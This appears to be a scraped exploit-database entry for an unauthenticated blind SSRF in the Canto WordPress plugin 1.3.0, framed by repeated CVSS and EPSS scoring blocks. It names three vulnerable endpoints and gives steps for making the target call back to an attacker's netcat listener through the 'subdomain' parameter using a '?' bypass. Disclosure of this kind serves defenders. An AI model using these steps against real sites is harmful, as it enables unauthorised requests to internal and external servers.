5 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
NONE
AV:N/AC:L/Au:N/C:P/I:N/A:N
5.3 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
LOW
Integrity Impact
NONE
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
5.3 Medium
AI Score
Confidence
High
0.006 Low
EPSS
Percentile
79.2%
# Exploit Title: Wordpress Plugin Canto 1.3.0 - Blind SSRF (Unauthenticated)
# Date: 03/12/2020
# Exploit Author: Pankaj Verma (_p4nk4j)
# Vendor Homepage: https://www.canto.com/integrations/wordpress/
# Software Link: https://github.com/CantoDAM/Canto-Wordpress-Plugin
# Version: 1.3.0
# Tested on: Ubuntu 18.04
# CVE: CVE-2020-28976, CVE-2020-28977, CVE-2020-28978
Description:-
The Canto plugin 1.3.0 for WordPress contains Blind SSRF Vulnerabilities.
It allows an unauthenticated attacker to make a request to any Internal and External Server via "subdomain" parameter.
Vulnerable Parameters and Endpoints:-
https://target/wp-content/plugins/canto/includes/lib/detail.php?subdomain=
https://target/wp-content/plugins/canto/includes/lib/get.php?subdomain=
https://target/wp-content/plugins/canto/includes/lib/tree.php?subdomain=
Steps To Reproduce:-
1. Start a Netcat Listener on any port For e.g. 4499
2. Navigate to "<wordpress_server>/wp-content/plugins/canto/includes/lib/detail.php?subdomain="
3. Add the Attacker's IP and Port For e.g. "172.17.0.1:4499?" to "subdomain=" parameter.
4. Observe the response we got from the Target on Attacker's Listener.
Note:- Using "?" in the payload is mandatory as it acts as a bypass to conduct this attack.
5 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
NONE
AV:N/AC:L/Au:N/C:P/I:N/A:N
5.3 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
LOW
Integrity Impact
NONE
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
5.3 Medium
AI Score
Confidence
High
0.006 Low
EPSS
Percentile
79.2%